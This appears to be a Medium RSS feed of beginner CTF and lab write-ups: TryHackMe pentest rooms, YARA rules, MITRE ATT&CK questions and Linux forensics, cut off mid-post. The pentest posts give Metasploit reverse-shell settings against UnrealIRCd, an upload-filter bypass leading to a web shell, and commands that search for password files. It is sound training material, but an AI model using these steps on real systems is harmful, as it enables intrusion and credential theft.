<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by zhra hmzah on Medium]]></title>
        <description><![CDATA[Stories by zhra hmzah on Medium]]></description>
        <link>https://medium.com/@zhrahmzah?source=rss-6e5cb54bbaf8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*mI5DqsWWB_1Id0QcKRx5Qg@2x.jpeg</url>
            <title>Stories by zhra hmzah on Medium</title>
            <link>https://medium.com/@zhrahmzah?source=rss-6e5cb54bbaf8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 14:00:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zhrahmzah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[10 min TryHackMe — The Game]]></title>
            <link>https://medium.com/@zhrahmzah/10-min-tryhackme-the-game-6f09f3a3b875?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f09f3a3b875</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 18:29:48 GMT</pubDate>
            <atom:updated>2026-06-22T18:29:48.376Z</atom:updated>
            <content:encoded><![CDATA[<p>Halo it’s my off day and IDK what’s the point of my life so I’m browsing thru what I can learn from thm, got bored with all the worlds so I tried finding just a sprinkle of fun.</p><p>The Game <a href="https://tryhackme.com/room/hfb1thegame">here</a>:</p><p>I’m compiling 2 different ways you can crack this, I did not come this on my own, found the write-ups, followed thru and just trying it for fun. I might as well compiled it since people are having creative ways to solve it!</p><p>Ofc I’ll linked it to the original mind behind the solution!</p><h4>Changing the code logic [Windows]</h4><p>ref by aurajit <a href="https://hacktrack.aurojitdas.com/posts/The_Game/">here</a>!</p><p>need to download 2 things.</p><ul><li>Godot Engine [to re-write the script]</li><li>Decompiler</li></ul><p>start —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*VBUUPslUfwHFOvb1MjxNzA.png" /><figcaption>The Game</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*lZ6mmYziPLXjWGCSiNDr4g.png" /><figcaption>find the engine behind the game [that’s how you know to download the engine for back end peek]</figcaption></figure><p>Decompile the game using the decompiler tool for Godot Engine, import to the Godot Engine tool.</p><p>Find where we can edit the logic to get what we want, [read: score ≥ 99999], edit it, recompile — rerun!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHsAWkdVNLaeyww8MrNh0Q.png" /><figcaption>The Logic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*cn9gNRkzYb5dqRhj5r-klw.png" /><figcaption>yehu got it!</figcaption></figure><p>But looking at the logic, they must’ve stored the flag somewhere.. and seems like it’s not a picture, since the font it similar to the other wordings.</p><ul><li>maybe i’d try to look through how we can filter for the functions? I’m not familiar with codings but I’ll get back to the other way thru the T.show() functions</li></ul><h4>2. Using Strings function in Linux</h4><p>this one is an interesting one to ‘cheat’ it. Basically find the word “thm{” flag indicator in the file itself!</p><p>I would say this is one of my favorite, super quick and easy!</p><p>Solution from Rishi <a href="https://medium.com/@rishi.chintala19/the-game-tryhackme-writeup-fa1bad3820f0">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A4Zi6kB0fRNmUa820hjh0Q.png" /><figcaption>im trying with other number thinking why eaxctly 6 for reducing the noise, why not 9 when it can get smth similar, isnt bigger num better for reducing the noise</figcaption></figure><h4>Conclusions:</h4><p>Anyways it’s like 2:24AM in the morning, tomorrow’s Tuesday and I got some stuff to do in the morning, this thing makes me want to get back into ‘coding’ lmao. I never did any projects before but maybe in the future! — Also need some sleep really badly.</p><p>p/s: I’m actually looking forward to add on more solutions for the Game here, ofc just following other’s idea (for now)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f09f3a3b875" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ MITRE ATT&CK Challenge 1]]></title>
            <link>https://medium.com/@zhrahmzah/mitre-att-ck-challenge-1-2fbfe154a044?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fbfe154a044</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 05:58:59 GMT</pubDate>
            <atom:updated>2026-06-11T05:58:59.219Z</atom:updated>
            <content:encoded><![CDATA[<p><em>I only started from question 9 because everything else seems self-explanatory and very direct.</em></p><p><strong>Introduction:</strong> Prompting an active incident response scenario at <strong>Permalink Software</strong>, the SOC team noticed an unusual spike in traffic from one of their endpoints, communicating with a known malicious IP address. This activity was flagged by the network intrusion detection system (NIDS) and correlated with other indicators of compromise found in threat intelligence feeds.</p><p>Your task is to use your knowledge of the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework and TTPs to help guide the team through identifying and reconstructing the attack kill chain. By doing so, the SOC can better understand the nature of the compromise and formulate a response plan.</p><h4><strong>Q9. The ccf32 software was transferred to the host shortly after the initial compromise. What tactic is this software likely used for?</strong></h4><p>I googled what ccf32 is, cool that the first option is from MITRE official website (which is what i want).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Zemgdb5f0fEn2azeBvjUQ.png" /></figure><p>You can read thru the techniques used but I got my second guess correct based on this → It says ‘initial access’ so it won’t ran away far, the ID of the tactic.</p><p><em>Answer is: T1005</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SO2ImWavnuBzMxCTdn_9-g.png" /></figure><h4><strong>Q10. After staging sensitive data, files, and intellectual property, the attacker exfiltrated the data by pushing it to a public GitHub repository. What mitigation ID could the organization have implemented to prevent the use of unauthorized external services?</strong></h4><p>From mitre map, Exfiltration → Web based → code Repo</p><h4>Q11.</h4><p>Impact → Defacement → External Defacement</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fbfe154a044" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guided Pentest: Infrastructure (TryHackMe)]]></title>
            <link>https://medium.com/@zhrahmzah/guided-pentest-infrastructure-tryhackme-43cc764eaa39?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/43cc764eaa39</guid>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Fri, 29 May 2026 15:26:55 GMT</pubDate>
            <atom:updated>2026-06-11T05:54:08.769Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*64mSiVAjuSsviPX22u0ADA.png" /></figure><p>Hi, this is the new room under the Jr. Pen Tester path in TryHackMe. You can join the room <a href="https://tryhackme.com/room/guidedpentestinfrastructure">here </a>.</p><p>Basically a room to explore how a pentester job works in the real world. Room is easy to follow along as a beginner.</p><h4>Infra Pen Test</h4><ul><li><strong>Enumeration:</strong> Start from zero. What do you know, and what do you need to find out?</li><li><strong>Vulnerability analysis:</strong> Analyze your enumeration results and connect the dots to potential weaknesses.</li><li><strong>Initial access:</strong> Pick your attack and execute it; get a foothold on the target.</li><li><strong>Privilege escalation:</strong> You’re in, but it’s not over. Enumerate again, this time from the inside, and find a way up.</li><li><strong>Reporting:</strong> None of the above matters if you can’t communicate it.</li></ul><h4>1. Enumerate</h4><p>Enumerate is like finding everything you can about the target that you wanted to exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6Fe6gCjrlW8Jq4WcNpgMg.png" /></figure><pre>Q1. What port other than 22 is open on the target host? 6667</pre><h4>2. Vulnerability Analysis</h4><p>Questioning what can we do with the vulnerabilities.</p><p>searchsploit openssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7T4fy94ZE38pJXVrV2LJfQ.png" /><figcaption>however, the version doesnt match the target openSSH 9.6p1</figcaption></figure><p>Hence, searchsploit the other open port:-</p><pre>searchsploit unrealIRCd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUcdM109kJLzfO-fw9F8PQ.png" /><figcaption>All these exploits matches the Target’s UnrealIRCd version — 3.2.8.1</figcaption></figure><h4>3. Initial Foothold</h4><p>Exploiting using msfconsole.</p><p>msf&gt;</p><ul><li>search for the needed module search unrealircd</li><li>use the suggested exploits exploit/unix/irc/unreal_ircd_5161_backdoor</li><li>set RHOST — target set RHOSTS <em>10.48.155.14</em></li><li>set payload set payload cmd/unix/reverse</li><li>set LHOST — attacker set LHOST <em>10.48.84.215</em></li><li>set LPORT 443</li><li>Run Exploit exploit</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XV2m3OnqTKgLPmAM1OXviA.png" /><figcaption>in —</figcaption></figure><p>Traverse through the directory to find the flag.</p><ul><li><em>pwd </em>— show current directory</li><li><em>ls </em>— show list of directory</li><li><em>cat </em>— open file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*0sWUuzmAfMW-B1V24L_A4g.png" /></figure><pre>Q2. What is the user-level flag? THM{Pwned-Yur-First-Machine}</pre><h4>4. Privilege Escalation</h4><p>Once foothold is established, need to find way to escalate privilege.</p><p>find / -name password* 2&gt;/dev/null</p><p><em>This command will attempt to find all files on the target system that contain the word password in their name. </em><em>2&gt;/dev/null will suppress errors.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*ohukUs59xiiML-nMgrjphQ.png" /></figure><p>From the room, /etc/password.txt is where the password to the system is stored. However, in modern systems, it doesn’t store the password like that.</p><blockquote># What you HOPE to see (modern, safe)<br>joe:x:1002:1002::/home/joe:/bin/bash</blockquote><blockquote># What you LOVE to see (vulnerable — hash is right there!)<br>joe:8eJ82kM7qP4Lg:1002:1002::/home/joe:/bin/bash</blockquote><blockquote># What makes you DANCE (plaintext password!)<br>admin:password123:0:0:Admin:/root:/bin/bash</blockquote><p><em>Even though modern systems store passwords in </em><em>/etc/shadow (only readable by root), </em><em>/etc/passwd gives you the usernames.</em></p><p>SSH into the Target using the known password and locate the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*0FDS4VpWKjdGsWa7vYsrTg.png" /></figure><pre>Q3. What is the root flag? THM{Esclat1n-D0ne}</pre><p><strong>5. It’s a wrap — time for some report</strong></p><p><em>p/s: the sample below aren’t my writing. Just something I pasted here for my own future ref.</em></p><pre>(The following example is a reported finding for the privilege escalation vector we’ve found in this scenario)</pre><p><strong>Title</strong>: Root Password Stored in Plaintext</p><p><strong>Severity</strong>: Critical</p><p><strong>Description</strong>: The root user’s password was found stored in plaintext within the file /etc/password.txt. This file was readable by low-privileged users, allowing any user with shell access to retrieve the root credentials and fully compromise the system.</p><p><strong>Exploitation Steps:</strong></p><ol><li>Obtain a low-privileged shell on the target system.</li><li>Read the contents of /etc/password.txt using cat /etc/password.txt.</li><li>Use the discovered root password to escalate privileges via ssh root@IP.</li></ol><p><strong>Recommendation</strong>: Remove the plaintext password file immediately and rotate the root password. Credentials should never be stored in plaintext on the filesystem. Implement a secrets management solution or use properly configured system authentication mechanisms (such as /etc/shadow with strong hashing). Additionally, enforce the principle of least privilege to restrict file access permissions.</p><p>Again, do join the room, it’s fun :) It’s a new room under the Jr. Pen Tester path. Join <a href="https://tryhackme.com/room/guidedpentestinfrastructure">here</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43cc764eaa39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guided Pentest: Web (TryHackMe)]]></title>
            <link>https://medium.com/@zhrahmzah/guided-pentest-web-tryhackme-4538006a2ca6?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/4538006a2ca6</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Fri, 29 May 2026 11:44:43 GMT</pubDate>
            <atom:updated>2026-05-29T11:44:43.541Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong>: Write up on a guided pen test on a web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBhp4gppVJUGYCqYbWkGMQ.png" /></figure><h4>Phase 1 — Recon</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*kBxlXzKcQKIY_jIKpOlQKQ.png" /></figure><p>running nmap on the web app, found 4 open ports: {22, 80, 3306, 8080}</p><pre>port 22 — SSH, would be useful if have credential<br>port 80 - target web app running on Apache<br>port 3306 - use mysql for database<br>port 8080 - Apache default page</pre><p><strong>checking the http response header</strong></p><p>We now know the technology stack: <strong>Apache + PHP + MySQL</strong> — a classic LAMP configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*UFMQWohzlZlFaMD2MDwdaA.png" /></figure><p><strong>Directory Enumeration using Gobuster</strong></p><p><em>Gobuster is a free and open-source directory and file enumeration tool. Penetration testers and security professionals use it to find hidden directories and files on web servers.</em></p><p>Goal: to find what other directories and file exist beyond what was shown in the landing page.</p><pre>gobuster dir -u http://10.49.166.181 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*ZeaImEm7tD8ZvTcyS0PzCA.png" /></figure><p><strong>/admin</strong> — An admin panel exists, but it redirects to the login page. We will need credentials to access it.<br><strong>/api </strong>— An API endpoint is present. APIs often expose data in ways the frontend does not.<br><strong>/reset.php </strong>— A password reset page. Reset mechanisms are frequently implemented insecurely.<br><strong>/uploads</strong> — An uploads directory. If we can upload files, this could be a path to code execution.<br><strong>/profile.php</strong> and <strong>/dashboard.php</strong> — These require authentication, so we need to be logged in to access them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5OrWiJ9dPYdwZFkgs5nUA.png" /></figure><h4>Phase 2 — IDOR</h4><p><strong>Extracting cookies</strong></p><p>Cookies extracted from browser inspect tool — used to verify whether it will be blocked or not to view the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wg7UlwTRBgIdgCaOfKwYmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*iOGmzH7Cgfj6IwTSABfWpA.png" /><figcaption>to extract the personal information using curl</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2RdFwEaBvfjFvynE9Adu7w.png" /></figure><p><em>not blocked even tho not authorized.</em></p><p><strong>checking api endpoints</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8R_i77YDMBUv2kIx6gixg.png" /></figure><p>IDOR vulnerabilities — vul in the link, where developer operated on the assumptions that user will only access their supposed to see things</p><p>The fix — server must verify whether user is authorized to see the objects</p><h4><strong>Phase 3 — weak password reset</strong></h4><p>The email of Sarah Mitchell was found through IDOR vulnerability, from there on, we also found that she was an administrator. Tried resetting the password of <em>s.mitchell@recruitx.thm </em>via the password reset mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*g-0WCdlanEIyzE3Fz-RIrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*7A8ZtaG18m8BbO13VPQRfQ.png" /><figcaption>the reset link/token was immediately being given freely</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*qYvJhp65AuMp36b1qmhFlA.png" /><figcaption>anyone can resets anyone’s password here</figcaption></figure><p>After resetting Sarah Mitchell password, I used the same password to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EF2Xs0etJFpwgRYNC_B5YQ.png" /><figcaption>Logged in as Sarah Mitchell</figcaption></figure><h4><strong>Phase 4 — admin panel access</strong></h4><ul><li>Exploring the admin dashboard</li></ul><p><em>A file upload function in the hands of an administrator is a powerful feature, and from a penetration tester’s perspective, it is a potential path to remote code execution.</em></p><ul><li>Investigating the upload function</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*EoRz1Nl2cHfvL8D--TfqUQ.png" /><figcaption>inspecting the upload function</figcaption></figure><ul><li>Testing the Uploads Restriction</li></ul><p>From DevTools, I can see there’s some sort of client-side restriction to what type of files are accepted to be uploaded. Next I’ll be checking whether the restriction was implemented on the server-side as well.</p><p>I created a test.txt file for testing, uploaded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*M67hadbjBkTdlGSSUbBV1w.png" /><figcaption>Before removing form-control from the DevTools — file type not allowed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*3FQTyQuUqIGmZ8koXPcYIg.png" /></figure><p>The same file was then uploaded.</p><p>After removing the form-control that only accepts a certain type of file, the file is still restricted from being uploaded indicating that there’s some sort of server-side validation on top of the client-side validation.</p><ul><li>checking whether the server checks only the file extension or also the file content</li></ul><p>creating a <em>test.php</em> file vs <em>test.phtml</em> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ff4ApAFFRpV6HWbHM5a4lA.png" /></figure><p>Tried uploading .<em>php </em>file, it is still rejected but <em>.phtml</em> file is accepted.</p><p>From here I can infer that the way the file restriction is being implemented is by checking the file extension and not the content of the file itself. Also, it is reasonable to infer that the restriction approach is by using “denylist/blocklist” method instead of “allow list” like in the client-side. If “allowlist” approach is implemented, .<em>phtml </em>file wont be allowed.</p><h4>Phase 5 — RCE</h4><p>Next goal is to upload a php file to perform RCE as by now we already know that the php files could be uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*PRwm7wLKJ3yntiOfc2z9Og.png" /><figcaption>creating a simple web shell using nano tho idk what it’s supposed to mean</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*k4XhEOkl2grNfMEAfZTD_w.png" /><figcaption>oh basically just a script to let us run an arbitrary command on the server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*OWVLToWFNcbrDRgjq21IqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*DKw3n0VeMg-NiYPZ9E7pyw.png" /><figcaption>uploaded the file</figcaption></figure><ul><li>Executing commands</li></ul><p>I was curious about the scripting command, trying to understand it. Basically it was just a command to pass a value into the remote shell inside the server.</p><p>I was confused about cmd, it was just a <strong><em>GET parameter key </em></strong>to pass along the value or command that we intended the remote shell to execute. In this case the value and command is <em>whoami </em>and <em>id.</em> Both of these commands is to check the identity of the user that the web server is running as.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*aElQZupPPI7iR2gNii841w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*LL26iWotYBLqKxctPvv9MQ.png" /><figcaption>running the commands</figcaption></figure><p><em>We have remote code execution. The commands are running as </em><em>www-data, which is the default user for the Apache web server on Ubuntu. Let&#39;s gather more information about the system:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-1ZdFZaiOe4esUJg1LxsQ.png" /><figcaption>We can now see the hostname, kernel version, and execute any command on the system.</figcaption></figure><ul><li>Reading Sensitive Files</li></ul><p><em>Since we can read files on the server, a good first step is to check system files that list users. In Linux, </em><em>/etc/passwd contains basic account information:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yjY8356Z0GWG5w-atmBIjw.png" /><figcaption>In a real-world scenario, this level of access would enable further enumeration of configuration files to extract database credentials and gain full access to the application’s backend data.</figcaption></figure><ul><li>Obtaining a reverse shell</li></ul><p>To get an interactive session to make our life easier, instead of running the code in each http request, we can run the code directly using a reverse shell.</p><ol><li>set up a listener</li><li>trigger the web shell</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSe2ILdral27c7QeQgJKwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmpwJPGk63Q7krE81x9hWQ.png" /></figure><h4>Finish — Remediation Summary (Sample)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QC5LI3jBf6GlVRPmx3NQwQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4538006a2ca6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ YARA Challenge 1]]></title>
            <link>https://medium.com/@zhrahmzah/yara-challenge-1-de3c1beb1164?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/de3c1beb1164</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Tue, 12 May 2026 12:32:12 GMT</pubDate>
            <atom:updated>2026-05-12T12:32:12.958Z</atom:updated>
            <content:encoded><![CDATA[<h3>Instructions:</h3><p>You are a SOC Analyst at <em>Meoware Labs</em>. Over the past few months, your team has accumulated a significant backlog of malware samples. These samples have been collected from various sources such as phishing emails, suspicious downloads, and through user reports.</p><p>To address this challenge, the organization has recently invested in enhancing its malware detection and threat intelligence capabilities by adopting YARA. Your task is to leverage your newly acquired YARA expertise to develop and refine YARA rules to better detect the threats and artifacts associated with these malware samples.</p><p>Q1. First, run the strings command against HawkEye.exe.meow. What is the name of the JPG file that is referenced in the binary?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRV1pVzQpS05-ZuNMH7feA.png" /></figure><p>Q2. Use the <strong>name</strong> of the JPG file to create a YARA detection rule for any executable files that match this string identifier. Run it against HawkEye.exe.meow. What is the offset location of the matching detection?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2uxyI-R0ccGaI8xapexBMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSD2zfETLa6N7keZIsTdnA.png" /></figure><p>Q3. What is the decimal conversion (base 10 equivalent) of this hexadecimal offset?</p><p><em>ans above screenshot</em></p><p>Q4. Run the Rules/rule1.yar file against the entire Samples directory. Which file was detected?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tF7-FVDMJfKErzbduxTg_Q.png" /></figure><p>Q5. Using the rule1.yar rule on the previously identified binary, how many individual string matches were detected?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQWoJcjAF8e6nK5hbPmpuQ.png" /><figcaption>hahahahahahhahahaha</figcaption></figure><p>Q6. Run the strings command against FreeYoutubeDownloader.exe.meow. What <strong>base domain name</strong> repeatedly appears in the output?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5mKRjrEXwYXq2thkBi_Kg.png" /></figure><p>Q7. Use the previously identified base domain name, create a YARA detection rule for any executable files that match this string identifier. Run it against the FreeYoutubeDownloader.exe.meow binary. In order of appearance in the file, what are the hexadecimal offsets of the two matching detection strings?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YvPZLFmmRqYKv8M-B-zynQ.png" /></figure><p>Q8. Thinking back to the <strong>Pyramid of Pain</strong>, it would be quite trivial for an attacker to change the name of the program and any references to the previously identified domain name. However, consider the <strong>host artifacts</strong> that this tool inherently interacts with to function. Which interesting or unique <strong>registry key</strong> is found in the strings?</p><p>Tried this but it doesnt work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjLDBqZ_fkazLiYehq9Zow.png" /></figure><p>Then I manually searched for funny looking path, since looking back at the question it says ‘unique’ and ‘interesting’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLtRy89hE2rKIJfyDIjclg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*BwFwmTSj3_gMWtp9azyDfA.png" /></figure><p>Q9. Create a YARA rule only to detect this <strong>registry key</strong>, and run it <strong>recursively</strong> against the /YARA/Challenges/ folder. What <strong>other</strong> file(s) are detected? Only provide the name of the files, not the full path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2sONEfO-ccbBl536zP4PFQ.png" /></figure><p>At first I didn’t get any returns because I forgot to include the ‘-r’ tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oShR6W8tLi-JKDMUbNNNDw.png" /></figure><p>Q10. Create a YARA rule to detect any GIF89a files under 50 KB in size. Run it recursively against the /YARA/Challenges/ folder. Which file(s) are matched? Only provide the name of the files, not the full path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZescWASjfyUlqwD0g1_OUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBVcwugd1zAPeF1jYaWG2A.png" /></figure><p><em>Q11 is a duplicate version of Q10 I think.</em></p><p>Q12. Research the <strong>file signature</strong> or <strong>magic bytes</strong> pertaining to <strong>OpenSSH private key</strong> files. What is the hexadecimal string (hex signature) that can be used to detect this signature?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vXtITWWm-b2Bl_on7F1ZQ.png" /></figure><p>Q13. Create a YARA rule to parse through the content of <strong>executables</strong> and detect any embedded <strong>OpenSSH private key files</strong>. Run it <strong>recursively</strong> against the /YARA/Challenges/ folder. Which file(s) are matched? Only provide the name of the files, not the full path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*XuWkDaBe0_p3-R9rW4TJiA.png" /></figure><p>I tried this at first haha, but that didnt work because it only check from the beginning, and ofc it’s not the same because file header should be mz because pe file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*fUMzF4UMt2KRBqmYEEz95g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NmsE7hfOjtLqCCyNHrcUNA.png" /></figure><p>The answer, <strong>spacing</strong> is important lewl, took me awhile.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de3c1beb1164" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Linux Endpoint Analysis Challenge 1]]></title>
            <link>https://medium.com/@zhrahmzah/linux-endpoint-analysis-challenge-1-79a0092ab447?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/79a0092ab447</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 09:22:03 GMT</pubDate>
            <atom:updated>2026-02-19T09:22:03.991Z</atom:updated>
            <content:encoded><![CDATA[<h3>Instructions:</h3><p>You’ve been assigned to remotely investigate a compromised Linux server as part of a live incident response scenario. The affected system has been imaged and all necessary forensic artifacts have been gathered. Your objective now is to investigate the scope of the compromise and identify any persistence mechanisms installed by the attacker.</p><p>Use your endpoint analysis skills to conduct the investigation and answer the questions below. <strong>Remember</strong>, many investigative commands will need to be run with sudo to return comprehensive results.</p><h3>Challenge File:</h3><ul><li>03_Endpoint_Security/Linux/Challenges/challenge.elf</li></ul><p>To start the challenge, run sudo ./challenge.elf in a terminal window. Make sure to not close the program or window until after you&#39;ve completed the challenge. However, you can temporarily minimize it. After running the executable, you can open additional terminal sessions to complete the investigation.</p><p>After completing the challenge, you can clean up and restore the system by terminating the challenge.elf process (Press Ctrl + C).</p><p><strong>Q1. Simulate the compromise by running </strong><strong>sudo ./challenge.elf in a terminal window. Make sure to not close the program or window until after you&#39;ve completed the challenge. However, you can temporarily minimize it. Enter &quot;done&quot; to continue.</strong></p><p><strong>Q2. What port is the malware listening on?</strong></p><p>I tried to use netstat and ss and append -tnp em but it’s nothing? I thought something was broken but when I ran firefox then it appears to be something. So it wasn’t broken.</p><p>So I tried <em>sudo netstat -tnpl</em> instead, -l for listening I guess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D58F30ujpYV0X9Vtxu-JXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BV-tG3N9u4h10O4T1xRSqQ.png" /><figcaption>kitty.meow? hahadhafshfs</figcaption></figure><p><strong>Q3. What is the Process ID (PID) of the malware? <em>This answer cannot be verified, but it’s required for the next question(s).</em></strong></p><p>Mine is 5775.</p><p><strong>Q4. What is the name of the binary or executable associated with the network listener?</strong></p><p>Can get this from Q2.</p><p><strong>Q5. What is the full path of the previously identified binary?</strong></p><p>I use <em>sudo lsof -p &lt;pid here&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6q95Dg2WkLdMGHLPd-SFmg.png" /></figure><p><strong>Q6. Run the </strong><strong>ps command against the previously identified malicious Process ID (PID). What is the full command line invocation of this binary?</strong></p><p>I use <em>sudo ps -p &lt;pid here&gt; -F</em> ; -F for full format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lkA84zkUfY-71pk0f5kqg.png" /></figure><p><strong>Q7. What is the SHA-256 hash value of the malware? <em>This answer cannot be verified due to potential version differences; however, it’s a useful exercise.</em></strong></p><p>I tried running sha256sum on /tmp/kitty.meow but apparently won’t work cause it’s been deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBrqTMe-mLD0viZhzEfz7w.png" /></figure><p>One place we can find deleted files is /proc so that’s what I 